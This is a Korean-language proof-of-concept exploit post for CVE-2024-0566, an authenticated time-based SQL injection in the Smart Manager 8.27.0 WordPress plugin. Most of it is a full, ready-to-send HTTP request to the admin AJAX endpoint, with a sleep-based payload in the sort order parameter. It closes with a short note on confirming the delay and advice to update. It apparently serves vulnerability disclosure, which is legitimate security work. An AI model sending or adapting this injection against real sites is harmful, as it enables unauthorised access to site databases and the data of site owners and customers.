
CVE-2024-0566에 대한 개념 증명 익스플로잇, Smart Manager 8.27.0 WordPress 플러그인의 인증 후 시간 기반 SQL 인젝션입니다. 관리자 AJAX 엔드포인트의 정렬 매개변수를 통한 인젝션을 보여줍니다.
익스플로잇 제목: Smart Manager 8.27.0 - 인증 후 SQL 인젝션
날짜: 2024-01-18
익스플로잇 작성자: Ivan Spiridonov - xbz0n
공급업체 홈페이지: https://www.storeapps.org/
소프트웨어 링크: https://www.storeapps.org/product/smart-manager/
버전: 8.27.0
테스트 환경: Ubuntu 22.04
CVE: CVE-2024-0566
이 플러그인은 SQL 문에서 사용하기 전에 매개변수를 적절히 정리(escape)하지 않아, 관리자와 같은 높은 권한의 사용자가 악용할 수 있는 SQL 인젝션 취약점이 발생합니다.
취약점은 관리자 AJAX 엔드포인트의 정렬 매개변수 'sort_params%5BsortOrder%5D' 및 'sort_params%5Bcolumn%5D'에 있습니다. 이러한 매개변수를 조작함으로써 인증된 공격자가 SQL 명령을 주입하여 시간 기반(time-based) SQL 인젝션 취약점을 유발할 수 있습니다.
POST /wp-admin/admin-ajax.php?action=sm_beta_include_file HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=smart-manager
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1117
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
cmd=get_data_model&active_module=product&security=37e8d818b7&is_public=1&sm_page=1&sm_limit=50&SM_IS_WOO30=true&sort_params%5Bcolumn%5D=postmeta%2Fmeta_key%3D_tax_status%2Fmeta_value%3D_tax_status&sort_params%5BsortOrder%5D=asc%2c(select*from(select(sleep(20)))a)&table_model%5Bposts%5D%5Bpkey%5D=ID&table_model%5Bposts%5D%5Bjoin_on%5D=&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product_variation&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_status%5D=any&table_model%5Bpostmeta%5D%5Bpkey%5D=post_id&table_model%5Bpostmeta%5D%5Bjoin_on%5D=postmeta.post_ID+%3D+posts.ID&table_model%5Bterm_relationships%5D%5Bpkey%5D=object_id&table_model%5Bterm_relationships%5D%5Bjoin_on%5D=term_relationships.object_id+%3D+posts.ID&table_model%5Bterm_taxonomy%5D%5Bpkey%5D=term_taxonomy_id&table_model%5Bterm_taxonomy%5D%5Bjoin_on%5D=term_taxonomy.term_taxonomy_id+%3D+term_relationships.term_taxonomy_id&table_model%5Bterms%5D%5Bpkey%5D=term_id&table_model%5Bterms%5D%5Bjoin_on%5D=terms.term_id+%3D+term_taxonomy.term_id&search_text=&advanced_search_query=%5B%5D&is_view=0&isTasks=0&is_taxonomy=0
서버 응답이 약 20초 지연되면 시간 기반 SQL 인젝션이 성공적으로 이루어졌음을 나타내며, 이는 취약점을 확인합니다.
Smart Manager v8.27.0 사용자는 영향을 받는 엔드포인트에 대한 접근을 제한하고 플러그인을 최신 버전으로 업데이트할 것을 강력히 권장합니다.